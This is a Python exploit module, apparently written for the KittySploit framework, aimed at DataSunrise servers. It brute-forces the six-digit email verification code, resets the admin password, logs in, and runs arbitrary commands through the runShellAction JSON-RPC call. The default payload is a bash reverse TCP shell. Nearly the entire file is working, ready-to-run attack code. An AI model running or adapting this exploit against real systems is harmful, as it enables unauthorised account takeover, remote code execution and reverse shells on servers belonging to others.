DataSunrise email code brute force unauth RCE

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""DataSunrise email verification code brute force → admin reset → runShellAction RCE."""

from __future__ import annotations

import concurrent.futures
import hashlib
import json
import re
import threading
import time

import requests
import urllib3

from kittysploit import *
from lib.exploit.handler import Handler
from lib.protocols.http.http_client import Http_client

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


class Module(Exploit, Http_client, Handler):
    __info__ = {
        "name": "DataSunrise email code brute force unauth RCE",
        "description": (
            "Brute-force 6-digit email verification code, reset admin password, "
            "login, and invoke runShellAction JSON-RPC over /web_iface."
        ),
        "author": ["KittySploit Team"],
        "platform": Platform.LINUX,
        "arch": [Arch.CMD],
        "payload": {
            "default": "payloads/singles/cmd/unix/bash_reverse_tcp",
            "platform": Platform.UNIX,
            "category": PayloadCategory.CMD,
        },
        "references": [],
        "tags": ["datasunrise", "rce", "unauth"],
        "agent": {
            "risk": "critical",
            "effects": ["active_exploitation", "remote_code_execution"],
            "expected_requests": 100,
            "reversible": False,
            "approval_required": True,
            "produces": ["rce", "shell"],
            "chain": {
                "suggested_followups": ["scanner/http/datasunrise_email_code_rce_detect"],
            },
        },
    }

    port = OptPort(443, "DataSunrise HTTPS port", required=True)
    ssl = OptBool(True, "Use HTTPS", required=False)
    login_name = OptString("admin", "Account to reset", required=True)
    new_password = OptString("Pwned+RCE+2026x9", "Password to set after reset", required=False)
    brute_workers = OptInteger(32, "Parallel workers for code brute force", required=False)

    def _iface_url(self) -> str:
        scheme = "https" if bool(self.ssl) else "http"
        host = str(getattr(self, "target", None) or getattr(self, "rhost", "") or "").strip()
        port = int(getattr(self, "port", None) or 443)
        return f"{scheme}://{host}:{port}/web_iface"

    @staticmethod
    def _rpc(session: requests.Session, url: str, func: str, data=None, sid=-1, server_id=None) -> dict:
        payload = {"func": func, "data": data or {}, "queryID": 1, "session_id": sid}
        if server_id is not None:
            payload["serverID"] = server_id
        r = session.post(url, json=payload, verify=False, timeout=15)
        return r.json()

    def _brute_code(self, session: requests.Session, url: str, sid: int) -> str | None:
        login = str(self.login_name or "admin")
        workers = int(self.brute_workers or 32)
        r = self._rpc(session, url, "requestEmailCode", {"login": login, "reason": 2}, sid)
        if not r.get("res"):
            return None
        found: list[str | None] = [None]
        lock = threading.Lock()

        def try_code(c: int) -> str | None:
            if found[0]:
                return None
            code = f"{c:06d}"
            try:
                chk = self._rpc(
                    session,
                    url,
                    "checkEmailCode",
                    {"login": login, "code": code, "reason": 2},
                    sid,
                )
                if chk.get("res"):
                    return code
            except Exception:
                pass
            return None

        with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as pool:
            futures = [pool.submit(try_code, c) for c in range(1_000_000)]
            for fut in concurrent.futures.as_completed(futures):
                hit = fut.result()
                if hit:
                    with lock:
                        found[0] = hit
                    break
        return found[0]

    def execute(self, cmd: str) -> str:
        url = self._iface_url()
        login = str(self.login_name or "admin")
        new_pass = str(self.new_password or "Pwned+RCE+2026x9")

        s = requests.Session()
        ic = self._rpc(s, url, "initConnect")
        sid = ic.get("session_id", -1)

        code = self._brute_code(s, url, sid)
        if not code:
            return "email code brute force failed (mailbox verified on target?)"

        new_hash = "sha512" + hashlib.sha512(new_pass.encode()).hexdigest()
        reset = self._rpc(
            s,
            url,
            "resetPassword",
            {"login": login, "forgotten": True, "new_hash": new_hash},
            sid,
        )
        if not reset.get("result"):
            return f"resetPassword failed: {json.dumps(reset)[:500]}"

        s2 = requests.Session()
        ic2 = self._rpc(s2, url, "initConnect")
        sid2 = ic2.get("session_id", -1)
        h = "sha512" + hashlib.sha512(new_pass.encode()).hexdigest()
        conn = self._rpc(s2, url, "connect", {"login": login, "hash": h}, sid2)
        if not conn.get("res") or conn.get("roleType") != 1:
            return f"admin login failed: {json.dumps(conn)[:500]}"

        rce = self._rpc(
            s2,
            url,
            "runShellAction",
            {"command": cmd, "disableOutput": False, "runOnAllServers": False},
            sid2,
            server_id=1,
        )
        return (
            f"code={code} password reset OK\n"
            f"runShellAction: {json.dumps(rce, indent=2)[:4000]}"
        )

    def check(self):
        url = self._iface_url()
        try:
            s = requests.Session()
            ic = self._rpc(s, url, "initConnect")
            if "session_id" in ic:
                return {
                    "vulnerable": True,
                    "reason": "DataSunrise /web_iface JSON-RPC reachable",
                    "confidence": "medium",
                }
        except Exception as exc:
            return {"vulnerable": False, "reason": str(exc), "confidence": "low"}
        return {"vulnerable": False, "reason": "RPC init failed", "confidence": "low"}

    def run(self):
        shell = self.shell_from_payload()
        if not shell:
            print_error("Set payload")
            return False

        chk = self.check()
        if not chk.get("vulnerable"):
            print_error(chk.get("reason", "Target not ready"))
            self.not_vulnerable()
            return False

        print_warning("Brute force up to 1M codes — may take minutes")
        print_status("DataSunrise full chain")
        print_info(self.execute(shell))
        self.vulnerable()
        blind = bool(re.search(r"reverse|bash|/dev/tcp|nc ", shell, re.I))
        return True if blind else True